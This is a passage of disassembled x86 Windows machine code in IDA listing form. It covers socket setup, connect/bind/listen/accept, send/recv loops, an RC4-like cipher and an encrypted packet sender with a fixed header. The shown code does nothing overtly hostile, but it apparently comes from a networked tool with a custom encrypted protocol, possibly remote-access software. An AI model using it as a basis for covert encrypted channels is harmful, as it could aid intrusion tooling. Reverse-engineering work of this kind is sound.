sub_441FF7 endp ; =============== S U B R O U T I N E ======================================= sub_442018 proc near ; CODE XREF: sub_447672+2Ap push offset dword_412874 call dword_411CC8 ; InitializeCriticalSection retn sub_442018 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 100h push ebx push esi push edi xor esi, esi cmp dword ptr [ebp+8], 0 jz loc_4420DF push 0FFFFFFF5h call dword_411CD4 ; GetStdHandle cmp eax, 0FFFFFFFFh jz loc_4420DF push offset dword_412874 call dword_411CCC ; RtlEnterCriticalSection lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] push 100h lea eax, [ebp-100h] push eax call sub_448141 add esp, 10h mov ebx, eax cmp ebx, 0FFh jbe short loc_4420C1 push 1 lea eax, [ebx+80h] push eax call sub_447CC1 pop ecx pop ecx mov esi, eax lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] lea eax, [ebx+1Fh] push eax push esi call sub_448141 add esp, 10h mov ebx, eax push esi push offset aS_0 ; "%s" call sub_4481E1 pop ecx pop ecx push esi call sub_448071 pop ecx jmp short loc_4420D4 ; --------------------------------------------------------------------------- loc_4420C1: ; CODE XREF: DMN1:00442081j lea eax, [ebp-100h] push eax push offset aS_0 ; "%s" call sub_4481E1 pop ecx pop ecx loc_4420D4: ; CODE XREF: DMN1:004420BFj push offset dword_412874 call dword_411CD0 ; RtlLeaveCriticalSection loc_4420DF: ; CODE XREF: DMN1:00442037j ; DMN1:0044204Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4420E6 proc near ; CODE XREF: sub_447672+25p push offset dword_41288C call dword_411CC8 ; InitializeCriticalSection retn sub_4420E6 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push ebx lea eax, [ebp-10h] push eax call dword_411CD8 ; GetLocalTime cmp word ptr [ebp-8], 0Ch jnb short loc_442111 mov ebx, offset aAm ; "AM" jmp short loc_442116 ; --------------------------------------------------------------------------- loc_442111: ; CODE XREF: DMN1:00442108j mov ebx, offset aPm ; "PM" loc_442116: ; CODE XREF: DMN1:0044210Fj push ebx movzx eax, word ptr [ebp-4] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] mov ecx, 0Ch cdq idiv ecx push edx movzx eax, word ptr [ebp-10h] mov ecx, 64h cdq idiv ecx push edx movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset a02i02i02iIIIS ; "%02i/%02i/%02i %i:%i:%i%s" push dword ptr [ebp+8] call sub_448241 add esp, 24h pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push offset dword_41288C call dword_411CCC ; RtlEnterCriticalSection push offset aA ; "a" push dword ptr [ebp+8] call sub_448281 pop ecx pop ecx mov ebx, eax test ebx, ebx jz short loc_44219B lea eax, [ebp+10h] mov [ebp-4], eax push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push ebx call sub_448331 add esp, 0Ch push ebx call sub_4484E1 pop ecx loc_44219B: ; CODE XREF: DMN1:0044217Dj push offset dword_41288C call dword_411CD0 ; RtlLeaveCriticalSection pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4421AB proc near ; CODE XREF: sub_447672+4Bp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] jmp short loc_4421D0 ; --------------------------------------------------------------------------- loc_4421B8: ; CODE XREF: sub_4421AB+2Cj dec dword_411000 mov eax, dword_411000 push dword_4128A4[eax*4] call sub_441FF7 pop ecx loc_4421D0: ; CODE XREF: sub_4421AB+Bj cmp dword_411000, 0 jnz short loc_4421B8 jmp short loc_44224C ; --------------------------------------------------------------------------- loc_4421DB: ; CODE XREF: sub_4421AB+ADj push 401h call sub_441FC9 pop ecx mov edx, dword_411000 mov dword_4128A4[edx*4], eax cmp byte ptr [ebx], 22h jnz short loc_4421FF inc ebx mov [ebp+var_1], 22h jmp short loc_442203 ; --------------------------------------------------------------------------- loc_4421FF: ; CODE XREF: sub_4421AB+4Bj mov [ebp+var_1], 20h loc_442203: ; CODE XREF: sub_4421AB+52j and [ebp+var_8], 0 mov eax, dword_411000 lea edx, [eax+1] mov dword_411000, edx mov esi, dword_4128A4[eax*4] jmp short loc_442224 ; --------------------------------------------------------------------------- loc_44221E: ; CODE XREF: sub_4421AB+8Bj mov al, [ebx] mov [esi], al inc esi inc ebx loc_442224: ; CODE XREF: sub_4421AB+71j mov al, [ebx] test al, al jz short loc_442238 cmp al, [ebp+var_1] jz short loc_442238 cmp [ebp+var_8], 400h jl short loc_44221E loc_442238: ; CODE XREF: sub_4421AB+7Dj ; sub_4421AB+82j cmp [ebp+var_1], 22h jnz short loc_442247 cmp byte ptr [ebx], 22h jnz short loc_442247 inc ebx jmp short loc_442247 ; --------------------------------------------------------------------------- loc_442246: ; CODE XREF: sub_4421AB+9Fj inc ebx loc_442247: ; CODE XREF: sub_4421AB+91j ; sub_4421AB+96j ... cmp byte ptr [ebx], 20h jz short loc_442246 loc_44224C: ; CODE XREF: sub_4421AB+2Ej cmp byte ptr [ebx], 0 jz short loc_44225A cmp dword_411000, 20h jl short loc_4421DB loc_44225A: ; CODE XREF: sub_4421AB+A4j mov eax, dword_411000 and dword_4128A4[eax*4], 0 pop esi pop ebx mov esp, ebp pop ebp retn sub_4421AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44226D proc near ; CODE XREF: sub_447672+256p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h push ebx push esi mov bx, 2 lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_447C2F ; WSAStartup mov esi, eax test esi, esi jz short loc_4422BD mov bx, 101h lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_447C2F ; WSAStartup mov esi, eax test esi, esi jz short loc_4422B0 xor eax, eax jmp short loc_4422CB ; --------------------------------------------------------------------------- loc_4422B0: ; CODE XREF: sub_44226D+3Dj push offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n" call nullsub_4 pop ecx jmp short loc_4422C8 ; --------------------------------------------------------------------------- loc_4422BD: ; CODE XREF: sub_44226D+23j push offset aWinsock2_xInit ; "WinSock 2.x initialized.\n" call nullsub_4 pop ecx loc_4422C8: ; CODE XREF: sub_44226D+4Ej xor eax, eax inc eax loc_4422CB: ; CODE XREF: sub_44226D+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_44226D endp ; --------------------------------------------------------------------------- call sub_447C35 ; WSACleanup xor eax, eax inc eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4422DA proc near ; CODE XREF: sub_443817+BDp ; DMN1:00444C9Cp ... var_4 = dword ptr -4 push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_447C3B ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4422F8 xor eax, eax jmp short loc_44234E ; --------------------------------------------------------------------------- loc_4422F8: ; CODE XREF: sub_4422DA+18j mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1005h push 0FFFFh push ebx call sub_447C41 ; setsockopt mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1006h push 0FFFFh push ebx call sub_447C41 ; setsockopt mov [ebp+var_4], 1 push 4 lea eax, [ebp+var_4] push eax push 8 push 0FFFFh push ebx call sub_447C41 ; setsockopt mov eax, ebx loc_44234E: ; CODE XREF: sub_4422DA+1Cj pop ebx mov esp, ebp pop ebp retn sub_4422DA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_447C3B ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_442371 xor eax, eax jmp short loc_4423D2 ; --------------------------------------------------------------------------- loc_442371: ; CODE XREF: DMN1:0044236Bj imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_447C41 ; setsockopt imul eax, [ebp+8], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_447C41 ; setsockopt xor eax, eax cmp dword ptr [ebp+10h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_447C41 ; setsockopt mov eax, ebx loc_4423D2: ; CODE XREF: DMN1:0044236Fj pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+8] imul eax, [ebp+10h], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_447C41 ; setsockopt imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_447C41 ; setsockopt xor eax, eax cmp dword ptr [ebp+14h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_447C41 ; setsockopt pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_442443 proc near ; CODE XREF: sub_44352A+15Dp ; sub_44352A+1B4p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_447C47 ; closesocket xor eax, eax inc eax retn sub_442443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442450 proc near ; CODE XREF: DMN1:004457B5p ; DMN1:0044582Fp var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi mov ebx, [ebp+arg_0] and [ebp+var_10C], 0 and [ebp+var_108], 0 and [ebp+var_104], 0 cmp [ebp+var_104], 40h jnb short loc_442492 mov eax, [ebp+var_104] lea edx, [eax+1] mov [ebp+var_104], edx mov [ebp+eax*4+var_100], ebx loc_442492: ; CODE XREF: sub_442450+2Aj lea eax, [ebp+var_10C] push eax push 0 push 0 lea eax, [ebp+var_104] push eax push 0 call sub_447C4D ; select mov esi, eax cmp eax, 0FFFFFFFFh jz short loc_4424BD test esi, esi jnz short loc_4424BA xor eax, eax jmp short loc_4424BD ; --------------------------------------------------------------------------- loc_4424BA: ; CODE XREF: sub_442450+64j xor eax, eax inc eax loc_4424BD: ; CODE XREF: sub_442450+60j ; sub_442450+68j pop esi pop ebx mov esp, ebp pop ebp retn sub_442450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4424C3 proc near ; CODE XREF: sub_4434E3+13p ; sub_44352A+1F5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call sub_447C53 ; ioctlsocket mov ebx, eax cmp eax, 0FFFFFFFFh jz short loc_4424E3 mov eax, [ebp+var_4] loc_4424E3: ; CODE XREF: sub_4424C3+1Bj pop ebx mov esp, ebp pop ebp retn sub_4424C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4424E8 proc near ; CODE XREF: sub_44352A+14Ep ; sub_443817+DBp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_448551 add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_447C59 ; htons mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_447C5F ; connect cmp eax, 0FFFFFFFFh jnz short loc_442530 xor eax, eax jmp short loc_442533 ; --------------------------------------------------------------------------- loc_442530: ; CODE XREF: sub_4424E8+42j xor eax, eax inc eax loc_442533: ; CODE XREF: sub_4424E8+46j pop ebx mov esp, ebp pop ebp retn sub_4424E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442538 proc near ; CODE XREF: DMN1:0044598Fp ; DMN1:00446CA2p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_448551 add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_447C59 ; htons mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_447C65 ; bind cmp eax, 0FFFFFFFFh jnz short loc_442580 xor eax, eax jmp short loc_442583 ; --------------------------------------------------------------------------- loc_442580: ; CODE XREF: sub_442538+42j xor eax, eax inc eax loc_442583: ; CODE XREF: sub_442538+46j pop ebx mov esp, ebp pop ebp retn sub_442538 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442588 proc near ; CODE XREF: DMN1:00445AB9p ; DMN1:00446CBFp arg_0 = dword ptr 8 push ebp mov ebp, esp push 5 push [ebp+arg_0] call sub_447C6B ; listen test eax, eax jge short loc_44259D xor eax, eax jmp short loc_4425A0 ; --------------------------------------------------------------------------- loc_44259D: ; CODE XREF: sub_442588+Fj xor eax, eax inc eax loc_4425A0: ; CODE XREF: sub_442588+13j pop ebp retn sub_442588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4425A2 proc near ; CODE XREF: DMN1:00446CDAp var_14 = dword ptr -14h var_10 = word ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp+var_10] push eax call sub_448551 add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea esi, [ebp+var_10] lea eax, [ebp+var_14] push eax push esi push [ebp+arg_0] call sub_447C71 ; accept mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4425E5 xor eax, eax jmp short loc_4425E7 ; --------------------------------------------------------------------------- loc_4425E5: ; CODE XREF: sub_4425A2+3Dj mov eax, ebx loc_4425E7: ; CODE XREF: sub_4425A2+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_4425A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4425ED proc near ; CODE XREF: DMN1:00445AD1p var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_8] mov edx, [ebp+arg_4] and dword ptr [edx], 0 mov word ptr [ebx], 0 push 10h push 0 lea eax, [ebp+var_10] push eax call sub_448551 add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea edi, [ebp+var_10] lea eax, [ebp+var_14] push eax push edi push [ebp+arg_0] call sub_447C71 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_44263F xor eax, eax jmp short loc_442656 ; --------------------------------------------------------------------------- loc_44263F: ; CODE XREF: sub_4425ED+4Cj mov edx, [ebp+arg_4] mov eax, [ebp+var_C] mov [edx], eax movzx eax, [ebp+var_E] push eax call sub_447C77 ; htons mov [ebx], ax mov eax, esi loc_442656: ; CODE XREF: sub_4425ED+50j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4425ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44265D proc near ; CODE XREF: sub_442B2D+44p ; sub_442B2D+A3p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_442688 ; --------------------------------------------------------------------------- loc_44266B: ; CODE XREF: sub_44265D+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_447C7D ; recv mov esi, eax test esi, esi jg short loc_442684 or eax, 0FFFFFFFFh jmp short loc_44268F ; --------------------------------------------------------------------------- loc_442684: ; CODE XREF: sub_44265D+20j sub edi, esi add ebx, esi loc_442688: ; CODE XREF: sub_44265D+Cj test edi, edi jg short loc_44266B mov eax, [ebp+arg_8] loc_44268F: ; CODE XREF: sub_44265D+25j pop edi pop esi pop ebx pop ebp retn sub_44265D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442694 proc near ; CODE XREF: sub_44352A+1E3p ; sub_443817+149p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_8] mov edi, ebx xor ebx, ebx jmp short loc_4426C3 ; --------------------------------------------------------------------------- loc_4426A3: ; CODE XREF: sub_442694+31j push 0 push ebx push [ebp+arg_4] push [ebp+arg_0] call sub_447C7D ; recv mov esi, eax test esi, esi jle short loc_4426C7 sub edi, esi mov eax, [ebp+arg_4] add eax, esi mov [ebp+arg_4], eax add ebx, esi loc_4426C3: ; CODE XREF: sub_442694+Dj test edi, edi jg short loc_4426A3 loc_4426C7: ; CODE XREF: sub_442694+21j mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_442694 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+10h] mov edi, ebx xor ebx, ebx jmp short loc_4426FD ; --------------------------------------------------------------------------- loc_4426DD: ; CODE XREF: DMN1:004426FFj push 0 push ebx push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_447C7D ; recv mov esi, eax test esi, esi jle short loc_442701 sub edi, esi mov eax, [ebp+0Ch] add eax, esi mov [ebp+0Ch], eax add ebx, esi loc_4426FD: ; CODE XREF: DMN1:004426DBj test edi, edi jg short loc_4426DD loc_442701: ; CODE XREF: DMN1:004426EFj mov eax, ebx pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442708 proc near ; CODE XREF: sub_442A5B+97p ; sub_44352A+1A4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_442733 ; --------------------------------------------------------------------------- loc_442716: ; CODE XREF: sub_442708+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_447C83 ; send mov esi, eax test esi, esi jg short loc_44272F or eax, 0FFFFFFFFh jmp short loc_44273A ; --------------------------------------------------------------------------- loc_44272F: ; CODE XREF: sub_442708+20j sub edi, esi add ebx, esi loc_442733: ; CODE XREF: sub_442708+Cj test edi, edi jg short loc_442716 mov eax, [ebp+arg_8] loc_44273A: ; CODE XREF: sub_442708+25j pop edi pop esi pop ebx pop ebp retn sub_442708 endp ; =============== S U B R O U T I N E ======================================= sub_44273F proc near ; CODE XREF: DMN1:00442803p ; DMN1:00444BF0p ... arg_0 = dword ptr 4 push ebx push esi xor esi, esi push [esp+8+arg_0] call sub_447C89 ; inet_addr mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_442773 push [esp+8+arg_0] call sub_447C8F ; gethostbyname mov esi, eax test esi, esi jnz short loc_44276A or eax, 0FFFFFFFFh jmp short loc_442775 ; --------------------------------------------------------------------------- loc_44276A: ; CODE XREF: sub_44273F+24j mov eax, [esi+0Ch] mov eax, [eax] mov eax, [eax] jmp short loc_442775 ; --------------------------------------------------------------------------- loc_442773: ; CODE XREF: sub_44273F+15j mov eax, ebx loc_442775: ; CODE XREF: sub_44273F+29j ; sub_44273F+32j pop esi pop ebx retn sub_44273F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp-10h] push eax call sub_448551 add esp, 0Ch mov word ptr [ebp-10h], 2 mov dword ptr [ebp-14h], 10h lea ebx, [ebp-10h] lea eax, [ebp-14h] push eax push ebx push dword ptr [ebp+8] call sub_447C95 ; getsockname mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4427B8 xor eax, eax jmp short loc_4427D3 ; --------------------------------------------------------------------------- loc_4427B8: ; CODE XREF: DMN1:004427B2j mov edx, [ebp+0Ch] mov eax, [ebp-0Ch] mov [edx], eax movzx eax, word ptr [ebp-0Eh] push eax call sub_447C77 ; htons mov edx, [ebp+10h] mov [edx], ax xor eax, eax inc eax loc_4427D3: ; CODE XREF: DMN1:004427B6j pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h push ebx push esi mov byte ptr [ebp-400h], 0 push 400h lea eax, [ebp-400h] push eax call sub_447C9B ; gethostname lea eax, [ebp-400h] push eax call sub_44273F pop ecx mov ebx, eax mov [ebp-404h], ebx mov eax, [ebp-404h] push eax call sub_447CA1 ; inet_ntoa mov esi, eax push esi lea eax, [ebp-400h] push eax push offset aSIsS ; "%s is %s\n" call nullsub_4 add esp, 0Ch mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44283C proc near ; CODE XREF: sub_4429D6+14p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edx, [ebp+arg_0] and dword ptr [edx+400h], 0 mov edx, [ebp+arg_0] and dword ptr [edx+404h], 0 mov ebx, [ebp+arg_0] xor ecx, ecx loc_44285E: ; CODE XREF: sub_44283C+2Cj mov [ebx+ecx*4], ecx inc ecx cmp ecx, 100h jl short loc_44285E and [ebp+var_8], 0 xor edi, edi xor ecx, ecx loc_442872: ; CODE XREF: sub_44283C+77j lea eax, [ebx+ecx*4] mov [ebp+var_C], eax mov edx, [eax] mov [ebp+var_4], edx add edx, edi mov esi, [ebp+var_8] mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+esi] add eax, edx movzx edi, al mov eax, [ebx+edi*4] mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_4] mov [ebx+edi*4], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax cmp eax, [ebp+arg_8] jl short loc_4428AC and [ebp+var_8], 0 loc_4428AC: ; CODE XREF: sub_44283C+6Aj inc ecx cmp ecx, 100h jl short loc_442872 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44283C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4428BC proc near ; CODE XREF: sub_442A5B+86p ; sub_442B2D+71p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov eax, [ebp+arg_0] mov ebx, [eax+400h] mov edi, [eax+404h] mov ecx, eax and [ebp+var_8], 0 jmp short loc_442923 ; --------------------------------------------------------------------------- loc_4428DC: ; CODE XREF: sub_4428BC+6Dj lea eax, [ebx+1] movzx ebx, al lea eax, [ecx+ebx*4] mov edx, [eax] mov [ebp+var_4], edx add edx, edi movzx edi, dl mov edx, [ecx+edi*4] mov [ebp+var_C], edx mov [eax], edx mov eax, [ebp+var_4] mov [ecx+edi*4], eax mov eax, [ebp+var_8] mov edx, [ebp+arg_4] add eax, edx mov [ebp+var_10], eax movsx edx, byte ptr [eax] mov esi, [ebp+var_4] mov eax, [ebp+var_C] add eax, esi movzx eax, al xor edx, [ecx+eax*4] mov al, dl mov edx, [ebp+var_10] mov [edx], al inc [ebp+var_8] loc_442923: ; CODE XREF: sub_4428BC+1Ej mov eax, [ebp+arg_8] cmp [ebp+var_8], eax jl short loc_4428DC mov edx, [ebp+arg_0] mov [edx+400h], ebx mov edx, [ebp+arg_0] mov [edx+404h], edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4428BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442944 proc near ; CODE XREF: DMN1:00444CAFp var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push 474h call sub_441FC9 pop ecx mov esi, eax push 10020h call sub_441FC9 pop ecx mov [esi+46Ch], eax mov [ebp+var_1], 5Ah xor ebx, ebx loc_44296E: ; CODE XREF: sub_442944+3Fj mov al, [ebp+var_1] mov [esi+ebx+4], al movsx eax, [ebp+var_1] lea eax, [ebx+eax*2] mov [ebp+var_1], al inc ebx cmp ebx, 40h jl short loc_44296E mov [ebp+var_1], 0A5h xor ebx, ebx loc_44298B: ; CODE XREF: sub_442944+5Dj mov al, [ebp+var_1] mov [esi+ebx+44h], al movsx eax, [ebp+var_1] add eax, eax sub eax, ebx mov [ebp+var_1], al inc ebx cmp ebx, 20h jl short loc_44298B mov eax, [ebp+arg_0] mov [esi], eax mov eax, [esi+46Ch] mov [esi+470h], eax mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_442944 endp ; =============== S U B R O U T I N E ======================================= sub_4429BC proc near ; CODE XREF: DMN1:00444F3Fp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push dword ptr [ebx+46Ch] call sub_441FF7 pop ecx push ebx call sub_441FF7 pop ecx pop ebx retn sub_4429BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4429D6 proc near ; CODE XREF: sub_442A5B+27p ; sub_442B2D+36p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] push 40h lea eax, [ebx+4] push eax lea eax, [ebx+64h] push eax call sub_44283C add esp, 0Ch mov al, [ebx+4] mov [ebp+var_1], al push 3Fh lea eax, [ebx+5] push eax lea eax, [ebx+4] push eax call sub_4485B1 add esp, 0Ch mov al, [ebp+var_1] mov [ebx+43h], al xor esi, esi xor edi, edi jmp short loc_442A2E ; --------------------------------------------------------------------------- loc_442A16: ; CODE XREF: sub_4429D6+5Bj lea eax, [ebx+esi+4] mov dl, [ebx+edi+44h] add [eax], dl lea eax, [edi+1] mov ecx, 20h cdq idiv ecx mov edi, edx inc esi loc_442A2E: ; CODE XREF: sub_4429D6+3Ej cmp esi, 40h jl short loc_442A16 mov al, [ebx+63h] mov [ebp+var_1], al mov esi, 1Fh loc_442A3E: ; CODE XREF: sub_4429D6+76j lea eax, [esi-1] mov al, [ebx+eax+44h] mov [ebx+esi+44h], al dec esi test esi, esi jg short loc_442A3E mov al, [ebp+var_1] mov [ebx+44h], al pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4429D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442A5B proc near ; CODE XREF: sub_442B10+13p ; sub_442CF7+8Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_C] test esi, esi jl short loc_442A74 cmp esi, 0FFFFh jle short loc_442A7B loc_442A74: ; CODE XREF: sub_442A5B+Fj xor eax, eax jmp loc_442B09 ; --------------------------------------------------------------------------- loc_442A7B: ; CODE XREF: sub_442A5B+17j cmp [ebp+arg_10], 0 jz short loc_442A88 push ebx call sub_4429D6 pop ecx loc_442A88: ; CODE XREF: sub_442A5B+24j mov edi, [ebx+46Ch] mov word ptr [edi], 29Ah add edi, 2 mov ax, [ebp+arg_4] mov [edi], ax add edi, 2 mov ax, si mov [edi], ax add edi, 2 test esi, esi jz short loc_442ABA push esi push [ebp+arg_8] push edi call sub_4485B1 add esp, 0Ch loc_442ABA: ; CODE XREF: sub_442A5B+50j add esi, 6 push esi movzx eax, [ebp+arg_4] push eax push offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n" call nullsub_4 add esp, 0Ch cmp [ebp+arg_10], 0 jz short loc_442AE9 push esi push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_4428BC add esp, 0Ch loc_442AE9: ; CODE XREF: sub_442A5B+79j push esi push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_442708 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], esi jge short loc_442B06 xor eax, eax jmp short loc_442B09 ; --------------------------------------------------------------------------- loc_442B06: ; CODE XREF: sub_442A5B+A5j xor eax, eax inc eax loc_442B09: ; CODE XREF: sub_442A5B+1Bj ; sub_442A5B+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_442A5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442B10 proc near ; CODE XREF: DMN1:00442EC8p ; DMN1:00444DCBp arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] movzx eax, [ebp+arg_4] push eax push [ebp+arg_0] call sub_442A5B add esp, 14h pop ebp retn sub_442B10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442B2D proc near ; CODE XREF: sub_442CDC+11p ; 